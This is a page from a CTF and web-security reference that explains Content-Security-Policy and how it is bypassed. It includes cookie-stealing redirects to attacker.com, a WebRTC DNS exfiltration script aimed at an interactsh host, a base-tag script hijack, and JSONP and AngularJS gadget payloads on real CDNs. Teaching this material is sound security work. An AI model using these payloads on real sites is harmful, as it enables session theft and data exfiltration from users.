๐Ÿšฉ
Practical CTF
BlogContact
  • ๐ŸšฉHome - Practical CTF
  • ๐ŸŒWeb
    • Enumeration
      • Finding Hosts & Domains
      • Masscan
      • Nmap
      • OSINT
    • Client-Side
      • Cross-Site Scripting (XSS)
        • HTML Injection
        • Content-Security-Policy (CSP)
      • CSS Injection
      • Cross-Site Request Forgery (CSRF)
      • XS-Leaks
      • Window Popup Tricks
      • Header / CRLF Injection
      • WebSockets
      • Caching
    • Server-Side
      • SQL Injection
      • NoSQL Injection
      • GraphQL
      • XML External Entities (XXE)
      • HTTP Request Smuggling
      • Local File Disclosure
      • Arbitrary File Write
      • Reverse Proxies
    • Frameworks
      • Flask
      • Ruby on Rails
      • NodeJS
      • Bun
      • WordPress
      • Angular
    • Chrome Remote DevTools
    • ImageMagick
  • ๐Ÿ”ฃCryptography
    • Encodings
    • Ciphers
    • Custom Ciphers
      • Z3 Solver
    • XOR
    • Asymmetric Encryption
      • RSA
      • Diffie-Hellman
      • PGP / GPG
    • AES
    • Hashing
      • Cracking Hashes
      • Cracking Signatures
    • Pseudo-Random Number Generators (PRNG)
    • Timing Attacks
    • Blockchain
      • Smart Contracts
      • Bitcoin addresses
  • ๐Ÿ”ŽForensics
    • Wireshark
    • File Formats
    • Archives
    • Memory Dumps (Volatility)
    • VBA Macros
    • Grep
    • Git
    • File Recovery
  • โš™๏ธReverse Engineering
    • Ghidra
    • Angr Solver
    • Reversing C# - .NET / Unity
    • PowerShell
  • ๐Ÿ“ŸBinary Exploitation
    • ir0nstone's Binary Exploitation Notes
    • Reverse Engineering for Pwn
    • PwnTools
    • ret2win
    • ret2libc
    • Shellcode
    • Stack Canaries
    • Return-Oriented Programming (ROP)
      • SigReturn-Oriented Programming (SROP)
      • ret2dlresolve
    • Sandboxes (chroot, seccomp & namespaces)
    • Race Conditions
  • ๐Ÿ“ฒMobile
    • Setup
    • Reversing APKs
    • Patching APKs
    • HTTP(S) Proxy for Android
    • Android Backup
    • Compiling C for Android
    • iOS
  • ๐ŸŒŽLanguages
    • PHP
    • Python
    • JavaScript
      • Prototype Pollution
      • postMessage Exploitation
    • Java
    • C#
    • Assembly
    • Markdown
    • LaTeX
    • JSON
    • YAML
    • CodeQL
    • NASL (Nessus Plugins)
    • Regular Expressions (RegEx)
  • ๐Ÿค–Networking
    • Modbus - TCP/502
    • Redis/Valkey - TCP/6379
  • ๐ŸงLinux
    • Shells
    • Bash
    • Linux Privilege Escalation
      • Enumeration
      • Networking
      • Command Triggers
      • Command Exploitation
      • Outdated Versions
      • Network File Sharing (NFS)
      • Docker
      • Filesystem Permissions
    • Analyzing Processes
  • ๐ŸชŸWindows
    • The Hacker Recipes - AD
    • Scanning/Spraying
    • Exploitation
    • Local Enumeration
    • Local Privilege Escalation
    • Windows Authentication
      • Kerberos
      • NTLM
    • Lateral Movement
    • Active Directory Privilege Escalation
    • Persistence
    • Antivirus Evasion
    • Metasploit
    • Alternate Data Streams (ADS)
  • โ˜๏ธCloud
    • Kubernetes
    • Microsoft Azure
  • โ”Other
    • Business Logic Errors
    • Password Managers
    • ANSI Escape Codes
    • WSL Tips
Powered by GitBook
On this page
  • Description
  • Bypasses
  • Exfiltrating with strict connect-src
  • Hosting JavaScript on 'self'
  • CDNs in script-src (AngularJS Bypass + JSONP)
  • Redirect to unrestricted path
  • Nonce without base-src
  1. Web
  2. Client-Side
  3. Cross-Site Scripting (XSS)

Content-Security-Policy (CSP)

The CSP response header restricts what resources are allowed to execute, but can sometimes be bypassed

PreviousHTML InjectionNextCSS Injection

Last updated 1 day ago

Description

A more modern protection against XSS and some other attacks is the . This is a Header (Content-Security-Policy:) or <meta> value in a response that tells the browser what should be allowed, and what shouldn't. An important directive that can be set using this header is , defining where JavaScript code may come from:

HTTP
Content-Security-Policy: script-src 'self' https://example.com/
HTML
<meta http-equiv="Content-Security-Policy" 
      content="script-src 'self' https://example.com/">

You can always find the currently applied CSP by opening the DevTools in Chromium, then navigating to Application and scroll down to top in order to find all affecting headers or meta tags and their rules:

A different less-common way to allow inline scripts without allowing all inline scripts is with nonces, random values generated by the server. This nonce is put inside of the script-src directive like 'nonce-2726c7f26c', requiring every inline script to have a nonce= attribute equaling the specified random value. In theory, an attacker should not be able to predict this random value as it should be different for every request. This works in a similar way to CSRF tokens and relies on secure randomness by the server. If implemented well, this is a very effective way of preventing XSS.

The last important string in this directive is 'unsafe-eval' which is disabled by default, blocking several functions that can execute code from a string:

  • eval()

  • Function()

  • Passing a string to setTimeout(), setInterval() or window.setImmediate() (for example: setTimeout("alert()", 500))

Note however that this does not prevent all methods of executing code from a string. If 'unsafe-inline' allows it, you can still write to the DOM with event handlers if required:

document.body.setAttribute('onclick', 'alert(origin)')
document.body.click()

It also doesn't deny the location = sink, removing 'unsafe-inline' is needed to prevent this:

location = "javascript:alert(origin)"

To easily evaluate and find problems with a CSP header, you can use Google's CSP Evaluator which tells you for every directive what potential problems it finds:

Bypasses

This directive defines which hosts can be connected to, meaning if your attacker's server is not on the list, you cannot make a fetch() request like normal to your server in order to exfiltrate any data. While there is no direct bypass for this, you may be able to still connect to any origin allowed to exfiltrate data by storing it, and later retrieving it as the attacker at a place you can find. By #forcing-requests-fetch, you could, for example, make a POST request that changes a profile picture, or some other public data, while embedding the data you want to exfiltrate. This way the policy is not broken, but the attacker can still find the data on the website itself.

With this technique, remember that even one bit of information is enough, as you can often repeat it to reveal a larger amount of information.

A more general bypass for this is to redirect the user fully using JavaScript, as browsers do not prevent this. Then in the URL, you put the data you want to exfiltrate to receive it in a request:

// Redirect via document.location:
location = `http://attacker.com/leak?${btoa(document.cookie)}`
// Redirect via <meta> tag (only at start of page load):
document.write(`<meta http-equiv="refresh" content="0; url=http://attacker.com/leak?${btoa(document.cookie)}">`)
$ interactsh-client

[INF] Listing 1 payload for OOB Testing
[INF] ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online

Then we use the WebRTC trick to exfiltrate any data over DNS:

function base32(s) {
  let b = "";
  for (let i = 0; i < s.length; i++) {
    b += s.charCodeAt(i).toString(2).padStart(8, "0");
  }
  let a = "abcdefghijklmnopqrstuvwxyz234567";
  let r = "";
  for (let i = 0; i < b.length; i += 5) {
    let p = b.substr(i, 5).padEnd(5, "0");
    let j = parseInt(p, 2);
    r += a.charAt(j);
  }
  return r.match(/.{1,63}/g).join(".");
}

async function leak(data) {
  let c = { iceServers: [{ urls: `stun:${base32(data)}.ckjbcs2q8gudlqgitungucqgux7bfhahq.oast.online` }] };
  let p = new RTCPeerConnection(c);
  p.createDataChannel("");
  await p.setLocalDescription();
}

leak("Hello, world! ".repeat(8));
interactsh-client
...
[jbswY3dpfqqHo33snrSccICiMvwGY3zMeB3w64TMMqqsaSdfNRwg6LBao5xxe3d.eEeqEqzLMnrxSyIdXn5ZGyZbBEBEGK3dmN4WcA53pojWGIijAjbsWy3dPfQqHO3.3SNrScCIciMVwgY3zMEB3W64tmmqqSASDfnrWG6LbaO5xXe3DeEeQa.CkJbCs2q8GudlQGiTungUCqgux7BFhahq] Received DNS interaction (A) from 74.125.114.204

Hosting JavaScript on 'self'

The URLs and 'self' trust all scripts coming from that domain, meaning in a secure environment no user data should be stored under those domains, like uploaded JavaScript files. If this is allowed, an attacker can simply upload and host their payload on an allowed website and it is suddenly trusted by the CSP.

/uploads/payload.js
alert()
Payload
<script src=/uploads/payload.js></script>

For more complex scenarios where you cannot directly upload .js files, the Content-Type: header comes into play. The browser decides based on this header if the requested file is likely to be a real script, and if the type is image/png for example, it will simply refuse to execute it:

An application may sanitize uploaded files by checking for a few signatures if it looks like a valid PNG, JPEG, GIF, etc. file which can limit exploitability as it still needs to be valid JavaScript code without SyntaxErrors. In these cases, you can try to make a "polyglot" that passes the validation checks of the server, while remaining valid JavaScript by using the file format in a smart way and language features like comments to remove unwanted code.

CDNs in script-src (AngularJS Bypass + JSONP)

<!-- *.googleapis.com -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(document.domain)"></script>
<!-- *.google.com -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)"></script>
<!-- ajax.googleapis.com (click) + maps.googleapis.com (no click) -->
<script src=https://ajax.googleapis.com/ajax/libs/angularjs/1.8.2/angular.min.js></script>
<div ng-app ng-csp id=x ng-click=$event.view.alert($event.view.document.domain)></div>
<script async src=https://maps.googleapis.com/maps/api/js?callback=x.click></script>
<!-- cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>{{$on.curry.call().alert($on.curry.call().document.domain)}}</div>

Loading any of these blocks in a CSP that allows it, will trigger the alert(document.domain) function. A common pattern for finding these bypasses is using Angular to create an environment where code can be executed from event handlers, and then another library or callback function to click on the element, triggering the handler with your malicious code.

See #angularjs for more complex AngularJS injections that bypass filters. Also, note that other frameworks such as #vuejs or #htmx may allow similar bypasses if they are accessible when unsafe-eval is set in the CSP.

More script gadgets for different frameworks are shown in the presentation below. This includes: Knockout, Ajaxify, Bootstrap, Google Closure, RequireJS, Ember, jQuery, jQuery Mobile, Dojo Toolkit, underscore, Aurelia, Polymer 1.x, AngularJS 1.x and Ractive.

Redirect to unrestricted path

URL's in a CSP may be absolute, not just an origin. The following example provides a full URL to base64.min.js, and you would expect only that script could be loaded from the cdn.js.cloudflare.com origin.

Content-Security-Policy: script-src 'self' https://cdnjs.cloudflare.com/ajax/libs/Base64/1.3.0/base64.min.js

This is not entirely true, however. If another origin, like 'self' contains an Open Redirect vulnerability, you may redirect a script URL to any path on cdnjs.cloudflare.com!

<script src="/redirect?url=https%3A%2F%2Fcdnjs.cloudflare.com%2Fajax%2Flibs%2Fangular.js%2F1.8.3%2Fangular.min.js"></script>
<div ng-app><img src=x ng-on-error="$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.defaultView.origin)"></div>

Nonce without base-src

If a CSP filters scripts based on a nonce, and does not specify a base-src directive, you may be able to hijack relative URLs after your injection point.

Content-Security-Policy: script-src 'nonce-abc'

Let's say the target page with an HTML-injection looks as follows:

<body>
  INJECT_HERE
  <script nonce="abc" src="/script.js">
</body>

The relative <script> tag can be redirect to another domain using the <base> tag as follows:

<body>
  <base href="https://attacker.com">
  <script nonce="abc" src="/script.js">
</body>

Now, the script with a valid nonce is loaded from https://attacker.com/script.js instead of the target website!

With the above policy set, any <script src=...> that is not from the current domain or "example.com" will be blocked. When you explicitly set a policy like this it also disables inline scripts like <script>alert()</script> or event handlers like <style onload=alert()> from executing, even ones from the server itself as there is no way to differentiate between intended and malicious. This possibly breaking change where all scripts need to come from trusted URLs is sometimes "fixed" by adding a special string that allows inline script tags and event handlers to execute, which as the name suggests, is very unsafe.

Exfiltrating with strict

Another useful method is WebRTC which bypasses connect-src. The DNS lookup is not blocked and allows for dynamically inserting data into the subdomain field. These names are case-insensitive so an encoding scheme like Base32 can be used to exfiltrate arbitrary data (max ~100 characters per request). Using it is easy to set up a domain to exfiltrate from:

Finally, we receive DNS requests on the interactsh-client that we can :

Some more ambiguous types are allowed, however, like text/plain, text/html or no type at all. These are especially useful as commonly a framework will decide what Content-Type to add based on the file extension, which may be empty in some cases causing it to choose a type allowed for JavaScript execution. This ambiguity is prevented however with an extra X-Content-Type-Options: nosniff header that is sometimes set, making the detection from the browser a lot more strict and only allowing real application/javascript files ().

Another idea instead of storing data, is reflecting data. If there is any page that generates a response you can turn into valid JavaScript code, you may be able to abuse it for your payload. or other callback endpoints are also useful here as they always have the correct Content-Type, and may allow you to insert arbitrary code in place of the ?callback= parameter, serving as your reflection of valid JavaScript code.

Every origin in this directive is trusted with all URLs it hosts. A common addition here is CDN (Content Delivery Network) domains that host many different JavaScript files for libraries. While in very unrestricted situations a CDN like will host every file on NPM, even malicious ones, others are less obvious.

The or domains for example host only specific popular libraries which should be secure, but some have exploitable features. The most well-known is AngularJS, which a vulnerable site may also host themselves removing the need for a CDN. This library searches for specific patterns in the DOM that can define event handlers without the regular inline syntax. This bypasses the CSP and can allow arbitrary JavaScript execution by loading such a library, and including your own malicious content in the DOM:

See for a not-so-updated list of public JSONP endpoints you may find useful.

The following script would be allowed by the , note that the angular.js path is not normally allowed, but it is through the redirect because its origin is allowed. This can be abused with some HTML that executes arbitrary JavaScript, even if 'unsafe-eval' is not set:

๐ŸŒ
'unsafe-inline'
connect-src
interactsh
decode
full list
JSONP
unpkg.com
cdnjs.cloudflare.com
ajax.googleapis.com
jsonp.txt
"Don't Trust the DOM: Bypassing XSS Mitigations via Script Gadgets"
CSP spec
Content Security Policy
script-src
LogoCSP Evaluator
Google's Content-Security-Policy evaluator showing potential issues
CSP Bypass Search
Public list of Angular/JSONP gadgets for CSP Bypasses
Logosecurity-research-pocs/script-gadgets/bypasses.md at master ยท google/security-research-pocsGitHub
Table of bypasses and PoCs
Sandbox-iframe XSS challenge solution - Johan CarlssonJohan Carlsson
Challenge writeup involving CSP open redirect bypass
Find Content Security Policy using DevTools to be sure
Browser refusing to execute image/png file as JavaScript source
Refused to execute script from 'http://localhost/uploads/image.png' because its MIME type ('image/png') is not executable.